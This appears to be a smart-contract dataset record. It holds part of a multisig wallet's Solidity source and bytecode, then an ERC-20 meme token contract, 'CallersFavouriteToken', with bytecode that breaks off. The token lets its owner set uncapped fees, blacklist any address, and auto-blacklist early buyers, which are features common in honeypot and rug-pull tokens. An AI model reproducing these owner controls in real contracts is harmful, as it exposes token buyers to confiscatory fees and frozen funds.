/// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction tx = transactions[transactionId]; tx.executed = true; if (tx.destination.call.value(tx.value)(tx.data)) Execution(transactionId); else { ExecutionFailure(transactionId); tx.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60806040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461015e578063173825d91461019257806320ea8d86146101b35780632f54bf6e146101cb5780633411c81c1461020057806354741525146102245780637065cb4814610255578063784547a7146102765780638b51d13f1461028e5780639ace38c2146102a6578063a0e67e2b14610361578063a8abe69a146103c6578063b5dc40c3146103eb578063b77bf60014610403578063ba51a6df14610418578063c01a8c8414610430578063c642747414610448578063d74f8edd146104b1578063dc8452cd146104c6578063e20056e6146104db578063ee22610b14610502575b600034111561015c5760408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561016a57600080fd5b5061017660043561051a565b60408051600160a060020a039092168252519081900360200190f35b34801561019e57600080fd5b5061015c600160a060020a0360043516610542565b3480156101bf57600080fd5b5061015c6004356106b9565b3480156101d757600080fd5b506101ec600160a060020a0360043516610773565b604080519115158252519081900360200190f35b34801561020c57600080fd5b506101ec600435600160a060020a0360243516610788565b34801561023057600080fd5b50610243600435151560243515156107a8565b60408051918252519081900360200190f35b34801561026157600080fd5b5061015c600160a060020a0360043516610814565b34801561028257600080fd5b506101ec600435610931565b34801561029a57600080fd5b506102436004356109b5565b3480156102b257600080fd5b506102be600435610a24565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561032357818101518382015260200161030b565b50505050905090810190601f1680156103505780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561036d57600080fd5b50610376610ae2565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103b257818101518382015260200161039a565b505050509050019250505060405180910390f35b3480156103d257600080fd5b5061037660043560243560443515156064351515610b45565b3480156103f757600080fd5b50610376600435610c7e565b34801561040f57600080fd5b50610243610df7565b34801561042457600080fd5b5061015c600435610dfd565b34801561043c57600080fd5b5061015c600435610e74565b34801561045457600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610243948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610f3f9650505050505050565b3480156104bd57600080fd5b50610243610f5e565b3480156104d257600080fd5b50610243610f63565b3480156104e757600080fd5b5061015c600160a060020a0360043581169060243516610f69565b34801561050e57600080fd5b5061015c6004356110f3565b600380548290811061052857fe5b600091825260209091200154600160a060020a0316905081565b600033301461055057600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561057957600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106545782600160a060020a03166003838154811015156105c357fe5b600091825260209091200154600160a060020a03161415610649576003805460001981019081106105f057fe5b60009182526020909120015460038054600160a060020a03909216918490811061061657fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610654565b60019091019061059c565b6003805460001901906106679082611343565b5060035460045411156106805760035461068090610dfd565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b3360008181526002602052604090205460ff1615156106d757600080fd5b60008281526001602090815260408083203380855292529091205483919060ff16151561070357600080fd5b600084815260208190526040902060030154849060ff161561072457600080fd5b6000858152600160209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561080d578380156107d5575060008181526020819052604090206003015460ff16155b806107f957508280156107f9575060008181526020819052604090206003015460ff165b15610805576001820191505b6001016107ac565b5092915050565b33301461082057600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561084857600080fd5b81600160a060020a038116151561085e57600080fd5b600380549050600101600454603282118061087857508181115b80610881575080155b8061088a575081155b1561089457600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b6003548110156109ae576000848152600160205260408120600380549192918490811061095f57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610993576001820191505b6004548214156109a657600192506109ae565b600101610936565b5050919050565b6000805b600354811015610a1e57600083815260016020526040812060038054919291849081106109e257fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a16576001820191505b6001016109b9565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610acf5780601f10610aa457610100808354040283529160200191610acf565b820191906000526020600020905b815481529060010190602001808311610ab257829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610b3a57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b1c575b505050505090505b90565b606080600080600554604051908082528060200260200182016040528015610b77578160200160208202803883390190505b50925060009150600090505b600554811015610bfe57858015610bac575060008181526020819052604090206003015460ff16155b80610bd05750848015610bd0575060008181526020819052604090206003015460ff165b15610bf657808383815181101515610be457fe5b60209081029091010152600191909101905b600101610b83565b878703604051908082528060200260200182016040528015610c2a578160200160208202803883390190505b5093508790505b86811015610c73578281815181101515610c4757fe5b9060200190602002015184898303815181101515610c6157fe5b60209081029091010152600101610c31565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610cb3578160200160208202803883390190505b50925060009150600090505b600354811015610d705760008581526001602052604081206003805491929184908110610ce857fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610d68576003805482908110610d2357fe5b6000918252602090912001548351600160a060020a0390911690849084908110610d4957fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610cbf565b81604051908082528060200260200182016040528015610d9a578160200160208202803883390190505b509350600090505b81811015610def578281815181101515610db857fe5b906020019060200201518482815181101515610dd057fe5b600160a060020a03909216602092830290910190910152600101610da2565b505050919050565b60055481565b333014610e0957600080fd5b600354816032821180610e1b57508181115b80610e24575080155b80610e2d575081155b15610e3757600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b3360008181526002602052604090205460ff161515610e9257600080fd5b6000828152602081905260409020548290600160a060020a03161515610eb757600080fd5b60008381526001602090815260408083203380855292529091205484919060ff1615610ee257600080fd5b6000858152600160208181526040808420338086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610f38856110f3565b5050505050565b6000610f4c848484611253565b9050610f5781610e74565b9392505050565b603281565b60045481565b6000333014610f7757600080fd5b600160a060020a038316600090815260026020526040902054839060ff161515610fa057600080fd5b600160a060020a038316600090815260026020526040902054839060ff1615610fc857600080fd5b600092505b6003548310156110595784600160a060020a0316600384815481101515610ff057fe5b600091825260209091200154600160a060020a0316141561104e578360038481548110151561101b57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550611059565b600190920191610fcd565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b600081815260208190526040812060030154829060ff161561111457600080fd5b61111d83610931565b1561124e576000838152602081905260409081902060038101805460ff19166001908117909155815481830154935160028085018054959850600160a060020a03909316959492939192839285926000199183161561010002919091019091160480156111cb5780601f106111a0576101008083540402835291602001916111cb565b820191906000526020600020905b8154815290600101906020018083116111ae57829003601f168201915b505091505060006040518083038185875af192505050156112165760405183907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a261124e565b60405183907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038201805460ff191690555b505050565b600083600160a060020a038116151561126b57600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff1916941693909317835551600183015592518051949650919390926112eb926002850192910190611367565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b81548183558181111561124e5760008381526020902061124e9181019083016113e5565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106113a857805160ff19168380011785556113d5565b828001600101855582156113d5579182015b828111156113d55782518255916020019190600101906113ba565b506113e19291506113e5565b5090565b610b4291905b808211156113e157600081556001016113eb5600a165627a7a72305820b5ca0c6fd914fe29904e85c13409289581e52812e997eae5d43c0e6bff0e2acd0029
{"success": true, "error": null, "results": {}}
5,671
0xf95bf034a99f65bb0e4c5ef60204563ae4de8c81
/** https://t.me/CallersFavouriteToken They already know. */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CallersFavouriteToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "CallersFavouriteToken";// string private constant _symbol = "CFT";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 10;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 15;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xe94171BF9535dC43E79A555eF1c1a55F0EAf258f);// address payable private _marketingAddress = payable(0xe94171BF9535dC43E79A555eF1c1a55F0EAf258f);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 33000000000 * 10**9; // uint256 public _maxWalletSize = 33000000000 * 10**9; // uint256 public _swapTokensAtAmount = 100000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610553578063dd62ed3e14610569578063ea1644d5146105af578063f2fde38b146105cf57600080fd5b8063a9059cbb146104ce578063bfd79284146104ee578063c3c8cd801461051e578063c492f0461461053357600080fd5b80638f9a55c0116100d15780638f9a55c01461044c57806395d89b411461046257806398a5c3151461048e578063a2a957bb146104ae57600080fd5b80637d1db4a5146103f85780638da5cb5b1461040e5780638f70ccf71461042c57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038e57806370a08231146103a3578063715018a6146103c357806374010ece146103d857600080fd5b8063313ce5671461031257806349bd5a5e1461032e5780636b9990531461034e5780636d8aa8f81461036e57600080fd5b80631694505e116101ab5780631694505e1461027e57806318160ddd146102b657806323b872dd146102dc5780632fd689e3146102fc57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b6f565b6105ef565b005b34801561020a57600080fd5b5060408051808201909152601581527421b0b63632b939a330bb37bab934ba32aa37b5b2b760591b60208201525b6040516102459190611ca1565b60405180910390f35b34801561025a57600080fd5b5061026e610269366004611abf565b61068e565b6040519015158152602001610245565b34801561028a57600080fd5b5060155461029e906001600160a01b031681565b6040516001600160a01b039091168152602001610245565b3480156102c257600080fd5b50683635c9adc5dea000005b604051908152602001610245565b3480156102e857600080fd5b5061026e6102f7366004611a7e565b6106a5565b34801561030857600080fd5b506102ce60195481565b34801561031e57600080fd5b5060405160098152602001610245565b34801561033a57600080fd5b5060165461029e906001600160a01b031681565b34801561035a57600080fd5b506101fc610369366004611a0b565b61070e565b34801561037a57600080fd5b506101fc610389366004611c3b565b610759565b34801561039a57600080fd5b506101fc6107a1565b3480156103af57600080fd5b506102ce6103be366004611a0b565b6107ec565b3480156103cf57600080fd5b506101fc61080e565b3480156103e457600080fd5b506101fc6103f3366004611c56565b610882565b34801561040457600080fd5b506102ce60175481565b34801561041a57600080fd5b506000546001600160a01b031661029e565b34801561043857600080fd5b506101fc610447366004611c3b565b6108b1565b34801561045857600080fd5b506102ce60185481565b34801561046e57600080fd5b5060408051808201909152600381526210d19560ea1b6020820152610238565b34801561049a57600080fd5b506101fc6104a9366004611c56565b6108fd565b3480156104ba57600080fd5b506101fc6104c9366004611c6f565b61092c565b3480156104da57600080fd5b5061026e6104e9366004611abf565b61096a565b3480156104fa57600080fd5b5061026e610509366004611a0b565b60116020526000908152604090205460ff1681565b34801561052a57600080fd5b506101fc610977565b34801561053f57600080fd5b506101fc61054e366004611aeb565b6109cb565b34801561055f57600080fd5b506102ce60085481565b34801561057557600080fd5b506102ce610584366004611a45565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105bb57600080fd5b506101fc6105ca366004611c56565b610a6c565b3480156105db57600080fd5b506101fc6105ea366004611a0b565b610a9b565b6000546001600160a01b031633146106225760405162461bcd60e51b815260040161061990611cf6565b60405180910390fd5b60005b815181101561068a5760016011600084848151811061064657610646611e3d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068281611e0c565b915050610625565b5050565b600061069b338484610b85565b5060015b92915050565b60006106b2848484610ca9565b61070484336106ff85604051806060016040528060288152602001611e7f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611267565b610b85565b5060019392505050565b6000546001600160a01b031633146107385760405162461bcd60e51b815260040161061990611cf6565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107835760405162461bcd60e51b815260040161061990611cf6565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107d657506014546001600160a01b0316336001600160a01b0316145b6107df57600080fd5b476107e9816112a1565b50565b6001600160a01b03811660009081526002602052604081205461069f90611326565b6000546001600160a01b031633146108385760405162461bcd60e51b815260040161061990611cf6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ac5760405162461bcd60e51b815260040161061990611cf6565b601755565b6000546001600160a01b031633146108db5760405162461bcd60e51b815260040161061990611cf6565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146109275760405162461bcd60e51b815260040161061990611cf6565b601955565b6000546001600160a01b031633146109565760405162461bcd60e51b815260040161061990611cf6565b600993909355600b91909155600a55600c55565b600061069b338484610ca9565b6013546001600160a01b0316336001600160a01b031614806109ac57506014546001600160a01b0316336001600160a01b0316145b6109b557600080fd5b60006109c0306107ec565b90506107e9816113aa565b6000546001600160a01b031633146109f55760405162461bcd60e51b815260040161061990611cf6565b60005b82811015610a66578160056000868685818110610a1757610a17611e3d565b9050602002016020810190610a2c9190611a0b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5e81611e0c565b9150506109f8565b50505050565b6000546001600160a01b03163314610a965760405162461bcd60e51b815260040161061990611cf6565b601855565b6000546001600160a01b03163314610ac55760405162461bcd60e51b815260040161061990611cf6565b6001600160a01b038116610b2a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610619565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610be75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610619565b6001600160a01b038216610c485760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610619565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d0d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610619565b6001600160a